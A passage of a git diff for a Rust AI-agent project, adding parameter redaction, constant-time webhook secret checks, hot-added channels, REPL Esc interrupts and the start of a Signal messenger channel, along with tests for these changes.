StatusUpdate { }, } +impl StatusUpdate { + /// Build a `ToolCompleted` status with redacted parameters. + /// + /// On failure, serializes the tool's input parameters as pretty JSON after + /// replacing any keys listed in the tool's `sensitive_params()` with + /// `"[REDACTED]"`. On success, no parameters or error are included. + /// + /// Pass the resolved `Tool` reference (if available) so this method can + /// query `sensitive_params()` directly — callers don't need to manage the + /// borrow lifetime of the sensitive slice. + pub fn tool_completed( + name: String, + result: &Result, + params: &serde_json::Value, + tool: Option<&dyn crate::tools::Tool>, + ) -> Self { + let success = result.is_ok(); + let sensitive = tool.map(|t| t.sensitive_params()).unwrap_or(&[]); + Self::ToolCompleted { + name, + success, + error: result.as_ref().err().map(|e| e.to_string()), + parameters: if !success { + let safe = crate::tools::redact_params(params, sensitive); + Some(serde_json::to_string_pretty(&safe).unwrap_or_else(|_| safe.to_string())) + } else { + None + }, + } + } +} + /// Trait for message channels. /// /// Channels receive messages from external sources and convert them to @@ -198,8 +321,152 @@ pub trait Channel: Send + Sync { /// Check if the channel is healthy. async fn health_check(&self) -> Result<(), ChannelError>; + /// Get conversation context from message metadata for system prompt. + /// + /// Returns key-value pairs like "sender", "sender_uuid", "group" that + /// help the LLM understand who it's talking to. + /// + /// Default implementation returns empty map. + fn conversation_context(&self, _metadata: &serde_json::Value) -> HashMap { + HashMap::new() + } + /// Gracefully shut down the channel. async fn shutdown(&self) -> Result<(), ChannelError> { Ok(()) } } + +#[cfg(test)] +mod tests { + use super::*; + + /// Stub tool that marks `"value"` as sensitive. + struct SecretTool; + + #[async_trait] + impl crate::tools::Tool for SecretTool { + fn name(&self) -> &str { + "secret_save" + } + fn description(&self) -> &str { + "stub" + } + fn parameters_schema(&self) -> serde_json::Value { + serde_json::json!({"type": "object", "properties": {}}) + } + async fn execute( + &self, + _params: serde_json::Value, + _ctx: &crate::context::JobContext, + ) -> Result { + unreachable!() + } + fn sensitive_params(&self) -> &[&str] { + &["value"] + } + } + + #[test] + fn tool_completed_redacts_sensitive_params_on_failure() { + let params = serde_json::json!({"name": "api_key", "value": "sk-secret-123"}); + let err: Result = + Err(crate::error::ToolError::ExecutionFailed { + name: "secret_save".into(), + reason: "db error".into(), + } + .into()); + let tool = SecretTool; + + let status = StatusUpdate::tool_completed( + "secret_save".into(), + &err, + ¶ms, + Some(&tool as &dyn crate::tools::Tool), + ); + + if let StatusUpdate::ToolCompleted { + success, + error, + parameters, + .. + } = &status + { + assert!(!success); + let err_msg = error.as_deref().expect("should have error"); + assert!(err_msg.contains("db error"), "error: {}", err_msg); + let param_str = parameters + .as_ref() + .expect("should have parameters on failure"); + assert!( + param_str.contains("[REDACTED]"), + "sensitive value should be redacted: {}", + param_str + ); + assert!( + !param_str.contains("sk-secret-123"), + "raw secret should not appear: {}", + param_str + ); + assert!( + param_str.contains("api_key"), + "non-sensitive params should be preserved: {}", + param_str + ); + } else { + panic!("expected ToolCompleted variant"); + } + } + + #[test] + fn tool_completed_no_params_on_success() { + let params = serde_json::json!({"name": "key", "value": "secret"}); + let ok: Result = Ok("done".into()); + + let status = StatusUpdate::tool_completed("secret_save".into(), &ok, ¶ms, None); + + if let StatusUpdate::ToolCompleted { + success, + error, + parameters, + .. + } = &status + { + assert!(success); + assert!(error.is_none()); + assert!(parameters.is_none(), "no params should be sent on success"); + } else { + panic!("expected ToolCompleted variant"); + } + } + + #[test] + fn tool_completed_no_tool_passes_params_unredacted() { + let params = serde_json::json!({"cmd": "ls -la"}); + let err: Result = + Err(crate::error::ToolError::ExecutionFailed { + name: "shell".into(), + reason: "timeout".into(), + } + .into()); + + let status = StatusUpdate::tool_completed("shell".into(), &err, ¶ms, None); + + if let StatusUpdate::ToolCompleted { parameters, .. } = &status { + let param_str = parameters.as_ref().expect("should have parameters"); + assert!( + param_str.contains("ls -la"), + "non-sensitive params should pass through: {}", + param_str + ); + } else { + panic!("expected ToolCompleted variant"); + } + } + + #[test] + fn test_incoming_message_with_timezone() { + let msg = IncomingMessage::new("test", "user1", "hello").with_timezone("America/New_York"); + assert_eq!(msg.timezone.as_deref(), Some("America/New_York")); + } +} diff --git a/src/channels/http.rs b/src/channels/http.rs index 77576a46..87cd2051 100644 --- a/src/channels/http.rs +++ b/src/channels/http.rs @@ -12,6 +12,7 @@ use axum::{ }; use secrecy::ExposeSecret; use serde::{Deserialize, Serialize}; +use subtle::ConstantTimeEq; use tokio::sync::{RwLock, mpsc, oneshot}; use tokio_stream::wrappers::ReceiverStream; use uuid::Uuid; @@ -173,7 +174,7 @@ async fn webhook_handler( // Validate secret if configured if let Some(ref expected_secret) = state.webhook_secret { match &req.secret { - Some(provided) if provided == expected_secret => { + Some(provided) if bool::from(provided.as_bytes().ct_eq(expected_secret.as_bytes())) => { // Secret matches, continue } Some(_) => { @@ -356,19 +357,89 @@ impl Channel for HttpChannel { #[cfg(test)] mod tests { + use axum::body::Body; + use axum::http::Request; + use secrecy::SecretString; + use tower::ServiceExt; + use super::*; + fn test_channel(secret: Option<&str>) -> HttpChannel { + HttpChannel::new(HttpConfig { + host: "127.0.0.1".to_string(), + port: 0, + webhook_secret: secret.map(|s| SecretString::from(s.to_string())), + user_id: "http".to_string(), + }) + } + #[tokio::test] async fn test_http_channel_requires_secret() { - let config = HttpConfig { - host: "127.0.0.1".to_string(), - port: 0, - webhook_secret: None, - user_id: "http".to_string(), - }; - - let channel = HttpChannel::new(config); + let channel = test_channel(None); let result = channel.start().await; assert!(result.is_err()); } + + #[tokio::test] + async fn webhook_correct_secret_returns_ok() { + let channel = test_channel(Some("test-secret-123")); + // Start the channel so the tx sender is populated (otherwise 503). + let _stream = channel.start().await.unwrap(); + let app = channel.routes(); + + let body = serde_json::json!({ + "content": "hello", + "secret": "test-secret-123" + }); + let req = Request::builder() + .method("POST") + .uri("/webhook") + .header("content-type", "application/json") + .body(Body::from(serde_json::to_vec(&body).unwrap())) + .unwrap(); + + let resp = app.oneshot(req).await.unwrap(); + assert_eq!(resp.status(), StatusCode::OK); + } + + #[tokio::test] + async fn webhook_wrong_secret_returns_unauthorized() { + let channel = test_channel(Some("correct-secret")); + let _stream = channel.start().await.unwrap(); + let app = channel.routes(); + + let body = serde_json::json!({ + "content": "hello", + "secret": "wrong-secret" + }); + let req = Request::builder() + .method("POST") + .uri("/webhook") + .header("content-type", "application/json") + .body(Body::from(serde_json::to_vec(&body).unwrap())) + .unwrap(); + + let resp = app.oneshot(req).await.unwrap(); + assert_eq!(resp.status(), StatusCode::UNAUTHORIZED); + } + + #[tokio::test] + async fn webhook_missing_secret_returns_unauthorized() { + let channel = test_channel(Some("correct-secret")); + let _stream = channel.start().await.unwrap(); + let app = channel.routes(); + + let body = serde_json::json!({ + "content": "hello" + }); + let req = Request::builder() + .method("POST") + .uri("/webhook") + .header("content-type", "application/json") + .body(Body::from(serde_json::to_vec(&body).unwrap())) + .unwrap(); + + let resp = app.oneshot(req).await.unwrap(); + assert_eq!(resp.status(), StatusCode::UNAUTHORIZED); + } } diff --git a/src/channels/manager.rs b/src/channels/manager.rs index 5cdc2f99..50d72e69 100644 --- a/src/channels/manager.rs +++ b/src/channels/manager.rs @@ -14,7 +14,7 @@ use crate::error::ChannelError; /// Includes an injection channel so background tasks (e.g., job monitors) can /// push messages into the agent loop without being a full `Channel` impl. pub struct ChannelManager { - channels: Arc>>>, + channels: Arc>>>, inject_tx: mpsc::Sender, /// Taken once in `start_all()` and merged into the stream. inject_rx: tokio::sync::Mutex>>, @@ -40,16 +40,45 @@ impl ChannelManager { } /// Add a channel to the manager. - pub fn add(&mut self, channel: Box) { + pub async fn add(&self, channel: Box) { let name = channel.name().to_string(); - // We need to get the inner HashMap to insert - // Since we're in a sync context during setup, we'll use try_write - if let Ok(mut channels) = self.channels.try_write() { - channels.insert(name.clone(), channel); - tracing::debug!("Added channel: {}", name); - } else { - tracing::error!("Failed to add channel: {} (lock contention)", name); - } + self.channels + .write() + .await + .insert(name.clone(), Arc::from(channel)); + tracing::debug!("Added channel: {}", name); + } + + /// Hot-add a channel to a running agent. + /// + /// Starts the channel, registers it in the channels map for `respond()`/`broadcast()`, + /// and spawns a task that forwards its stream messages through `inject_tx` into + /// the agent loop. + pub async fn hot_add(&self, channel: Box) -> Result<(), ChannelError> { + let name = channel.name().to_string(); + let stream = channel.start().await?; + + // Register for respond/broadcast/send_status + self.channels + .write() + .await + .insert(name.clone(), Arc::from(channel)); + + // Forward stream messages through inject_tx + let tx = self.inject_tx.clone(); + tokio::spawn(async move { + use futures::StreamExt; + let mut stream = stream; + while let Some(msg) = stream.next().await { + if tx.send(msg).await.is_err() { + tracing::warn!(channel = %name, "Inject channel closed, stopping hot-added channel"); + break; + } + } + tracing::info!(channel = %name, "Hot-added channel stream ended"); + }); + + Ok(()) } /// Start all channels and return a merged stream of messages. @@ -194,6 +223,11 @@ impl ChannelManager { pub async fn channel_names(&self) -> Vec { self.channels.read().await.keys().cloned().collect() } + + /// Get a channel by name. + pub async fn get_channel(&self, name: &str) -> Option> { + self.channels.read().await.get(name).cloned() + } } impl Default for ChannelManager { @@ -201,3 +235,106 @@ impl Default for ChannelManager { Self::new() } } + +#[cfg(test)] +mod tests { + use super::*; + use crate::channels::IncomingMessage; + use crate::testing::StubChannel; + use futures::StreamExt; + + #[tokio::test] + async fn test_add_and_start_all() { + let manager = ChannelManager::new(); + let (stub, sender) = StubChannel::new("test"); + + manager.add(Box::new(stub)).await; + + let mut stream = manager.start_all().await.expect("start_all failed"); + + // Inject a message through the stub + sender + .send(IncomingMessage::new("test", "user1", "hello")) + .await + .expect("send failed"); + + // Should appear in the merged stream + let msg = stream.next().await.expect("stream ended"); + assert_eq!(msg.content, "hello"); + assert_eq!(msg.channel, "test"); + } + + #[tokio::test] + async fn test_respond_routes_to_correct_channel() { + let manager = ChannelManager::new(); + let (stub, _sender) = StubChannel::new("alpha"); + + // Keep a reference for response inspection + let responses = stub.captured_responses_handle(); + manager.add(Box::new(stub)).await; + + let msg = IncomingMessage::new("alpha", "user1", "request"); + manager + .respond(&msg, OutgoingResponse::text("reply")) + .await + .expect("respond failed"); + + // Verify the stub captured the response + let captured = responses.lock().expect("poisoned"); + assert_eq!(captured.len(), 1); + assert_eq!(captured[0].1.content, "reply"); + } + + #[tokio::test] + async fn test_respond_unknown_channel_errors() { + let manager = ChannelManager::new(); + let msg = IncomingMessage::new("nonexistent", "user1", "test"); + let result = manager.respond(&msg, OutgoingResponse::text("hi")).await; + assert!(result.is_err()); + } + + #[tokio::test] + async fn test_health_check_all() { + let manager = ChannelManager::new(); + let (stub1, _) = StubChannel::new("healthy"); + let (stub2, _) = StubChannel::new("sick"); + stub2.set_healthy(false); + + manager.add(Box::new(stub1)).await; + manager.add(Box::new(stub2)).await; + + let results = manager.health_check_all().await; + assert!(results["healthy"].is_ok()); + assert!(results["sick"].is_err()); + } + + #[tokio::test] + async fn test_start_all_no_channels_errors() { + let manager = ChannelManager::new(); + let result = manager.start_all().await; + assert!(result.is_err()); + } + + #[tokio::test] + async fn test_injection_channel_merges() { + let manager = ChannelManager::new(); + let (stub, _sender) = StubChannel::new("real"); + manager.add(Box::new(stub)).await; + + let mut stream = manager.start_all().await.expect("start_all failed"); + + // Use the injection channel (simulating background task) + let inject_tx = manager.inject_sender(); + inject_tx + .send(IncomingMessage::new( + "injected", + "system", + "background alert", + )) + .await + .expect("inject failed"); + + let msg = stream.next().await.expect("stream ended"); + assert_eq!(msg.content, "background alert"); + } +} diff --git a/src/channels/mod.rs b/src/channels/mod.rs index 08d742e8..095c96c1 100644 --- a/src/channels/mod.rs +++ b/src/channels/mod.rs @@ -31,13 +31,18 @@ mod channel; mod http; mod manager; mod repl; +mod signal; pub mod wasm; pub mod web; mod webhook_server; -pub use channel::{Channel, IncomingMessage, MessageStream, OutgoingResponse, StatusUpdate}; +pub use channel::{ + AttachmentKind, Channel, IncomingAttachment, IncomingMessage, MessageStream, OutgoingResponse, + StatusUpdate, +}; pub use http::HttpChannel; pub use manager::ChannelManager; pub use repl::ReplChannel; +pub use signal::SignalChannel; pub use web::GatewayChannel; pub use webhook_server::{WebhookServer, WebhookServerConfig}; diff --git a/src/channels/repl.rs b/src/channels/repl.rs index a72547d0..9031aa4e 100644 --- a/src/channels/repl.rs +++ b/src/channels/repl.rs @@ -15,6 +15,7 @@ //! - `/compact` - Compact the context //! - `/new` - Start a new thread //! - `yes`/`no`/`always` - Respond to tool approval prompts +//! - `Esc` - Interrupt current operation use std::borrow::Cow; use std::io::{self, Write}; @@ -28,12 +29,16 @@ use rustyline::error::ReadlineError; use rustyline::highlight::Highlighter; use rustyline::hint::Hinter; use rustyline::validate::Validator; -use rustyline::{CompletionType, Editor, Helper}; +use rustyline::{ + Cmd as ReadlineCmd, CompletionType, ConditionalEventHandler, Editor, Event, EventContext, + EventHandler, Helper, KeyCode, KeyEvent, Modifiers, RepeatCount, +}; use termimad::MadSkin; use tokio::sync::mpsc; use tokio_stream::wrappers::ReceiverStream; use crate::agent::truncate_for_preview; +use crate::bootstrap::ironclaw_base_dir; use crate::channels::{Channel, IncomingMessage, MessageStream, OutgoingResponse, StatusUpdate}; use crate::error::ChannelError; @@ -121,6 +126,23 @@ impl Highlighter for ReplHelper { impl Validator for ReplHelper {} impl Helper for ReplHelper {} +struct EscInterruptHandler { + triggered: Arc, +} + +impl ConditionalEventHandler for EscInterruptHandler { + fn handle( + &self, + _evt: &Event, + _n: RepeatCount, + _positive: bool, + _ctx: &EventContext, + ) -> Option { + self.triggered.store(true, Ordering::Relaxed); + Some(ReadlineCmd::Interrupt) + } +} + /// Build a termimad skin with our color scheme. fn make_skin() -> MadSkin { let mut skin = MadSkin::default(); @@ -247,6 +269,7 @@ fn print_help() { println!(" {c}/compact{r} {d}compact context window{r}"); println!(" {c}/new{r} {d}new conversation thread{r}"); println!(" {c}/interrupt{r} {d}stop current operation{r}"); + println!(" {c}esc{r} {d}stop current operation{r}"); println!(); println!(" {h}Approval responses{r}"); println!(" {c}yes{r} ({c}y{r}) {d}approve tool execution{r}"); @@ -257,10 +280,7 @@ fn print_help() { /// Get the history file path (~/.ironclaw/history). fn history_path() -> std::path::PathBuf { - dirs::home_dir() - .unwrap_or_else(|| std::path::PathBuf::from(".")) - .join(".ironclaw") - .join("history") + ironclaw_base_dir().join("history") } #[async_trait] @@ -274,11 +294,14 @@ impl Channel for ReplChannel { let single_message = self.single_message.clone(); let debug_mode = Arc::clone(&self.debug_mode); let suppress_banner = Arc::clone(&self.suppress_banner); + let esc_interrupt_triggered_for_thread = Arc::new(AtomicBool::new(false)); std::thread::spawn(move || { + let sys_tz = crate::timezone::detect_system_timezone().name().to_string(); + // Single message mode: send it and return if let Some(msg) = single_message { - let incoming = IncomingMessage::new("repl", "default", &msg); + let incoming = IncomingMessage::new("repl", "default", &msg).with_timezone(&sys_tz); let _ = tx.blocking_send(incoming); return; } @@ -301,6 +324,13 @@ impl Channel for ReplChannel { rl.set_helper(Some(ReplHelper)); + rl.bind_sequence( + KeyEvent(KeyCode::Esc, Modifiers::NONE), + EventHandler::Conditional(Box::new(EscInterruptHandler { + triggered: Arc::clone(&esc_interrupt_triggered_for_thread), + })), + ); + // Load history let hist_path = history_path(); if let Some(parent) = hist_path.parent() { @@ -330,7 +360,14 @@ impl Channel for ReplChannel { // Handle local REPL commands (only commands that need // immediate local handling stay here) match line.to_lowercase().as_str() { - "/quit" | "/exit" => break, + "/quit" | "/exit" => { + // Forward shutdown command so the agent loop exits even + // when other channels (e.g. web gateway) are still active. + let msg = IncomingMessage::new("repl", "default", "/quit") + .with_timezone(&sys_tz); + let _ = tx.blocking_send(msg); + break; + } "/help" => { print_help(); continue; @@ -348,21 +385,32 @@ impl Channel for ReplChannel { _ => {} } - let msg = IncomingMessage::new("repl", "default", line); + let msg = + IncomingMessage::new("repl", "default", line).with_timezone(&sys_tz); if tx.blocking_send(msg).is_err() { break; } } Err(ReadlineError::Interrupted) => { - // Ctrl+C: send /interrupt - let msg = IncomingMessage::new("repl", "default", "/interrupt"); - if tx.blocking_send(msg).is_err() { + if esc_interrupt_triggered_for_thread.swap(false, Ordering::Relaxed) { + // Esc: interrupt current operation and keep REPL open. + let msg = IncomingMessage::new("repl", "default", "/interrupt") + .with_timezone(&sys_tz); + if tx.blocking_send(msg).is_err() { + break; + } + } else { + // Ctrl+C (VINTR): request graceful shutdown. + let msg = IncomingMessage::new("repl", "default", "/quit") + .with_timezone(&sys_tz); + let _ = tx.blocking_send(msg); break; } } Err(ReadlineError::Eof) => { // Ctrl+D: send /quit so the agent loop runs graceful shutdown - let msg = IncomingMessage::new("repl", "default", "/quit"); + let msg = + IncomingMessage::new("repl", "default", "/quit").with_timezone(&sys_tz); let _ = tx.blocking_send(msg); break; } @@ -425,7 +473,7 @@ impl Channel for ReplChannel { StatusUpdate::ToolStarted { name } => { eprintln!(" \x1b[33m\u{25CB} {name}\x1b[0m"); } - StatusUpdate::ToolCompleted { name, success } => { + StatusUpdate::ToolCompleted { name, success, .. } => { if success { eprintln!(" \x1b[32m\u{25CF} {name}\x1b[0m"); } else { diff --git a/src/channels/signal.rs b/src/channels/signal.rs new file mode 100644 index 00000000..cc07b079 --- /dev/null +++ b/src/channels/signal.rs @@ -0,0 +1,2766 @@ +//! Signal channel via signal-cli daemon HTTP/JSON-RPC. +//! +//! Connects to a running `signal-cli daemon --http `. +//! Listens for messages via SSE at `/api/v1/events` and sends via +//! JSON-RPC at `/api/v1/rpc`. + +use std::num::NonZeroUsize; +use std::sync::Arc; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::time::Duration; + +use async_trait::async_trait; +use futures::StreamExt; +use lru::LruCache; +use reqwest::Client; +use serde::Deserialize; +use tokio::sync::RwLock; +use uuid::Uuid; + +use crate::bootstrap::ironclaw_base_dir; +use crate::channels::{Channel, IncomingMessage, MessageStream, OutgoingResponse, StatusUpdate}; +use crate::config::SignalConfig; +use crate::error::ChannelError; +use crate::pairing::PairingStore; + +const GROUP_TARGET_PREFIX: &str = "group:"; +const SIGNAL_HEALTH_ENDPOINT: &str = "/api/v1/check"; + +const MAX_SSE_BUFFER_SIZE: usize = 1024 * 1024; +const MAX_SSE_EVENT_SIZE: usize = 256 * 1024; +const MAX_HTTP_RESPONSE_SIZE: usize = 10 * 1024 * 1024; +const MAX_REPLY_TARGETS: usize = 10000; +const MAX_ERROR_LOG_BODY: usize = 1024; + +const REPLY_TARGETS_CAP: NonZeroUsize = NonZeroUsize::new(MAX_REPLY_TARGETS).unwrap(); + +/// Recipient classification for outbound messages. +#[derive(Debug, Clone, PartialEq, Eq)] +enum RecipientTarget { + Direct(String), + Group(String), +} + +// ── signal-cli SSE event JSON shapes ──────────────────────────── + +#[derive(Debug, Deserialize)] +struct SseEnvelope { + #[serde(default)] + envelope: Option, +} + +#[derive(Debug, Deserialize)] +struct Envelope { + #[serde(default)] + source: Option, + #[serde(rename = "sourceNumber", default)] + source_number: Option, + #[serde(rename = "sourceName", default)] + source_name: Option, + #[serde(rename = "sourceUuid", default)] + source_uuid: Option, + #[serde(rename = "dataMessage", default)] + data_message: Option, + #[serde(rename = "storyMessage", default)] + story_message: Option, + #[serde(default)] + timestamp: Option, +} + +#[derive(Debug, Deserialize)] +struct DataMessage { + #[serde(default)] + message: Option, + #[serde(default)] + timestamp: Option, + #[serde(rename = "groupInfo", default)] + group_info: Option, + #[serde(default)] + attachments: Option>, +} + +#[derive(Debug, Deserialize)] +struct GroupInfo { + #[serde(rename = "groupId", default)] + group_id: Option, +} + +/// Signal channel using signal-cli daemon's native JSON-RPC + SSE API. +pub struct SignalChannel { + config: SignalConfig, + client: Client, + /// LRU cache of reply targets per incoming message, used by `respond()`. + /// Bounded to `MAX_REPLY_TARGETS` entries; least-recently-used entries + /// are evicted automatically when the cache is full. + reply_targets: Arc>>, + /// Debug mode for verbose tool output (toggled via /debug command). + debug_mode: Arc, +} + +impl SignalChannel { + /// Create a new Signal channel with normalized config and fresh client/cache. + pub fn new(config: SignalConfig) -> Result { + let mut config = config; + config.http_url = config.http_url.trim_end_matches('/').to_string(); + + let client = Client::builder() + .connect_timeout(Duration::from_secs(10)) + .build() + .map_err(|e| ChannelError::Http(e.to_string()))?; + + let cap = REPLY_TARGETS_CAP; + let reply_targets = Arc::new(RwLock::new(LruCache::new(cap))); + let debug_mode = Arc::new(AtomicBool::new(false)); + + Ok(Self::from_parts(config, client, reply_targets, debug_mode)) + } + + /// Construct a SignalChannel from pre-validated parts. + /// + /// Used by [`new()`][Self::new] after normalization and by [`sse_listener`] + /// to ensure both code paths use the same constructor. + fn from_parts( + config: SignalConfig, + client: Client, + reply_targets: Arc>>, + debug_mode: Arc, + ) -> Self { + Self { + config, + client, + reply_targets, + debug_mode, + } + } + + fn is_debug(&self) -> bool { + self.debug_mode.load(Ordering::Relaxed) + } + + fn toggle_debug(&self) -> bool { + let current = self.debug_mode.load(Ordering::Relaxed); + self.debug_mode.store(!current, Ordering::Relaxed); + !current + } + + /// Effective sender: prefer `sourceNumber` (E.164), fall back to `source` + /// (UUID for privacy-enabled users). + fn sender(envelope: &Envelope) -> Option { + envelope + .source_number + .as_deref() + .or(envelope.source.as_deref()) + .map(String::from) + } + + /// Normalize an allowlist entry to the bare identifier. + /// + /// Strips the `uuid:` prefix if present, so `uuid:` and `` both + /// match against a bare UUID sender. + fn normalize_allow_entry(entry: &str) -> &str { + entry.strip_prefix("uuid:").unwrap_or(entry) + } + + /// Check whether a sender is in the allowed users list. + fn is_sender_allowed(&self, sender: &str) -> bool { + if self.config.allow_from.is_empty() { + return false; + } + self.config.allow_from.iter().any(|entry| { + entry == "*" + || Self::normalize_allow_entry(entry) == Self::normalize_allow_entry(sender) + }) + } + + /// Check if sender is allowed via config allow_from OR pairing store. + fn is_sender_allowed_with_pairing(&self, sender: &str) -> bool { + if self.is_sender_allowed(sender) { + return true; + } + let store = PairingStore::new(); + if let Ok(allowed) = store.read_allow_from("signal") { + return allowed.iter().any(|entry| entry == "*" || entry == sender); + } + false + } + + /// Handle pairing request for unapproved sender. + /// Returns Ok(true) if message should be allowed (was already paired), + /// Ok(false) if message was blocked but pairing request was processed. + fn handle_pairing_request(&self, sender: &str, source_name: Option<&str>) -> Result { + let store = PairingStore::new(); + let meta = serde_json::json!({ + "sender": sender, + "name": source_name, + }); + + match store.upsert_request("signal", sender, Some(meta)) { + Ok(result) => { + tracing::info!( + sender = %sender, + code = %result.code, + "Signal: pairing request upserted" + ); + if result.created { + let message = format!( + "To pair with this bot, run: `ironclaw pairing approve signal {}`", + result.code + ); + let http_url = self.config.http_url.clone(); + let account = self.config.account.clone(); + let sender_owned = sender.to_string(); + let message_owned = message.clone(); + tokio::spawn(async move { + if let Err(e) = Self::send_pairing_reply_async( + &http_url, + &account, + &sender_owned, + &message_owned, + ) + .await + { + tracing::error!(sender = %sender_owned, error = %e, "Signal: failed to send pairing reply"); + } + }); + } + Ok(false) + } + Err(e) => { + tracing::error!(sender = %sender, error = %e, "Signal: pairing upsert failed"); + Err(()) + } + } + } + + /// Send a pairing reply message to the sender (async helper for spawned task). + async fn send_pairing_reply_async( + http_url: &str, + account: &str, + recipient: &str, + message: &str, + ) -> Result<(), ChannelError> { + let client = Client::builder() + .connect_timeout(Duration::from_secs(10)) + .build() + .map_err(|e| ChannelError::Http(e.to_string()))?; + + let target = Self::parse_recipient_target(recipient); + let params = Self::build_rpc_params_static(http_url, account, &target, Some(message), None); + + let url = format!("{}/api/v1/rpc", http_url); + let id = Uuid::new_v4().to_string(); + + let body = serde_json::json!({ + "jsonrpc": "2.0", + "method": "send", + "params": params, + "id": id, + }); + + let resp = client + .post(&url) + .timeout(Duration::from_secs(30)) + .header("Content-Type", "application/json") + .json(&body) + .send() + .await + .map_err(|e| ChannelError::SendFailed { + name: "signal".to_string(), + reason: format!("RPC request failed to {}: {e}", Self::redact_url(&url)), + })?; + + let status = resp.status(); + let is_success = status.is_success(); + + if status.as_u16() == 201 { + return Ok(()); + } + + if !is_success { + let bytes = resp.bytes().await.unwrap_or_default(); + let truncated_len = bytes.len().min(MAX_ERROR_LOG_BODY); + let truncated_body = String::from_utf8_lossy(&bytes[..truncated_len]); + return Err(ChannelError::SendFailed { + name: "signal".to_string(), + reason: format!("HTTP error {}: {}", status.as_u16(), truncated_body), + }); + } + + Ok(()) + } + + /// Get effective group allow_from list (inherits from allow_from if empty). + fn effective_group_allow_from(&self) -> &[String] { + if self.config.group_allow_from.is_empty() { + &self.config.allow_from + } else { + &self.config.group_allow_from + } + } + + /// Check whether a group is in the allowed groups list. + /// + /// - Empty list — deny all groups (DMs only, secure by default). + /// - `*` — allow all groups. + /// - Specific IDs — allow only those groups. + fn is_group_allowed(&self, group_id: &str) -> bool { + if self.config.allow_from_groups.is_empty() { + return false; + } + self.config + .allow_from_groups + .iter() + .any(|entry| entry == "*" || entry == group_id) + } + + /// Check whether a sender is allowed for group messages. + fn is_group_sender_allowed(&self, sender: &str) -> bool { + let effective_list = self.effective_group_allow_from(); + if effective_list.is_empty() { + return false; + } + effective_list.iter().any(|entry| { + entry == "*" + || Self::normalize_allow_entry(entry) == Self::normalize_allow_entry(sender) + }) + } + + /// Redact credentials from a URL for safe logging. + /// + /// Replaces any embedded username/password with `**REDACTED**` and returns + /// the sanitised string. Returns `""` when parsing fails. + pub fn redact_url(url: &str) -> String { + reqwest::Url::parse(url) + .map(|mut u| { + if u.password().is_some() || !u.username().is_empty() { + let _ = u.set_username("**REDACTED**"); + let _ = u.set_password(None); + } + u.to_string() + }) + .unwrap_or_else(|_| "".to_string()) + } + + fn is_e164(recipient: &str) -> bool { + let Some(number) = recipient.strip_prefix('+') else { + return false; + }; + (7..=15).contains(&number.len()) && number.chars().all(|c| c.is_ascii_digit()) + } + + /// Check whether a string is a valid UUID (signal-cli uses these for + /// privacy-enabled users who have opted out of sharing their phone number). + fn is_uuid(s: &str) -> bool { + Uuid::parse_str(s).is_ok() + } + + /// Generate a deterministic UUID from an identifier (phone number or group ID). + /// + /// This ensures that the same phone number or group always produces the same UUID, + /// allowing conversation history to persist across gateway restarts. + fn thread_id_from_identifier(identifier: &str) -> String { + // Use a stable, deterministic UUID v5 derived from the identifier. + // This avoids relying on `DefaultHasher` implementation details and + // provides a full 128 bits of entropy. + Uuid::new_v5(&Uuid::NAMESPACE_URL, identifier.as_bytes()).to_string() + } + + fn parse_recipient_target(recipient: &str) -> RecipientTarget { + if let Some(group_id) = recipient.strip_prefix(GROUP_TARGET_PREFIX) { + return RecipientTarget::Group(group_id.to_string()); + } + + if Self::is_e164(recipient) || Self::is_uuid(recipient) { + RecipientTarget::Direct(recipient.to_string()) + } else { + RecipientTarget::Group(recipient.to_string()) + } + } + + /// Determine the reply target: group id (prefixed) or the sender's identifier. + fn reply_target(data_msg: &DataMessage, sender: &str) -> String { + if let Some(group_id) = data_msg + .group_info + .as_ref() + .and_then(|g| g.group_id.as_deref()) + { + format!("{GROUP_TARGET_PREFIX}{group_id}") + } else { + sender.to_string() + } + } + + /// Send a JSON-RPC request to signal-cli daemon. + async fn rpc_request( + &self, + method: &str, + params: serde_json::Value, + ) -> Result, ChannelError> { + let url = format!("{}/api/v1/rpc", self.config.http_url); + let id = Uuid::new_v4().to_string(); + + let body = serde_json::json!({ + "jsonrpc": "2.0", + "method": method, + "params": params, + "id": id, + }); + + let resp = self + .client + .post(&url) + .timeout(Duration::from_secs(30)) + .header("Content-Type", "application/json") + .json(&body) + .send() + .await + .map_err(|e| ChannelError::SendFailed { + name: "signal".to_string(), + reason: format!("RPC request failed to {}: {e}", Self::redact_url(&url)), + })?; + + // 201 = success with no body (e.g. typing indicators). + if resp.status().as_u16() == 201 { + return Ok(None); + } + + // Reject obviously oversized responses before buffering. + if let Some(len) = resp.content_length() + && len as usize > MAX_HTTP_RESPONSE_SIZE + { + return Err(ChannelError::SendFailed { + name: "signal".to_string(), + reason: format!( + "RPC response Content-Length too large: {} bytes (max {})", + len, MAX_HTTP_RESPONSE_SIZE + ), + }); + } + + let status = resp.status(); + let mut stream = resp.bytes_stream(); + let mut total_bytes = 0usize; + let mut body = Vec::new(); + + while let Some(chunk) = stream.next().await { + let chunk = chunk.map_err(|e| ChannelError::SendFailed { + name: "signal".to_string(), + reason: format!("Failed to read RPC response: {e}"), + })?; + let chunk_len = chunk.len(); + total_bytes += chunk_len; + + if total_bytes > MAX_HTTP_RESPONSE_SIZE { + return Err(ChannelError::SendFailed { + name: "signal".to_string(), + reason: format!( + "RPC response too large: {} bytes (max {})", + total_bytes, MAX_HTTP_RESPONSE_SIZE + ), + }); + } + + body.extend_from_slice(&chunk); + } + + let bytes = body; + + if bytes.is_empty() { + return Ok(None); + } + + // Check for non-success HTTP status codes before parsing as JSON. + if !status.is_success() { + let truncated_len = std::cmp::min(bytes.len(), 512); + let truncated_body = String::from_utf8_lossy(&bytes[..truncated_len]); + return Err(ChannelError::SendFailed { + name: "signal".to_string(), + reason: format!("HTTP error {}: {}", status.as_u16(), truncated_body), + }); + } + + let parsed: serde_json::Value = + serde_json::from_slice(&bytes).map_err(|e| ChannelError::SendFailed { + name: "signal".to_string(), + reason: format!("Invalid RPC response JSON: {e}"), + })?; + + if let Some(err) = parsed.get("error") { + let code = err.get("code").and_then(|c| c.as_i64()).unwrap_or(-1); + let msg = err + .get("message") + .and_then(|m| m.as_str()) + .unwrap_or("unknown"); + return Err(ChannelError::SendFailed { + name: "signal".to_string(), + reason: format!("Signal RPC error {code}: {msg}"), + }); + } + + Ok(parsed.get("result").cloned()) + } + + /// Build JSON-RPC params for a send/typing call. + fn build_rpc_params( + &self, + target: &RecipientTarget, + message: Option<&str>, + attachments: Option<&[String]>, + ) -> serde_json::Value { + match target { + RecipientTarget::Direct(id) => { + let mut params = serde_json::json!({ + "recipient": [id], 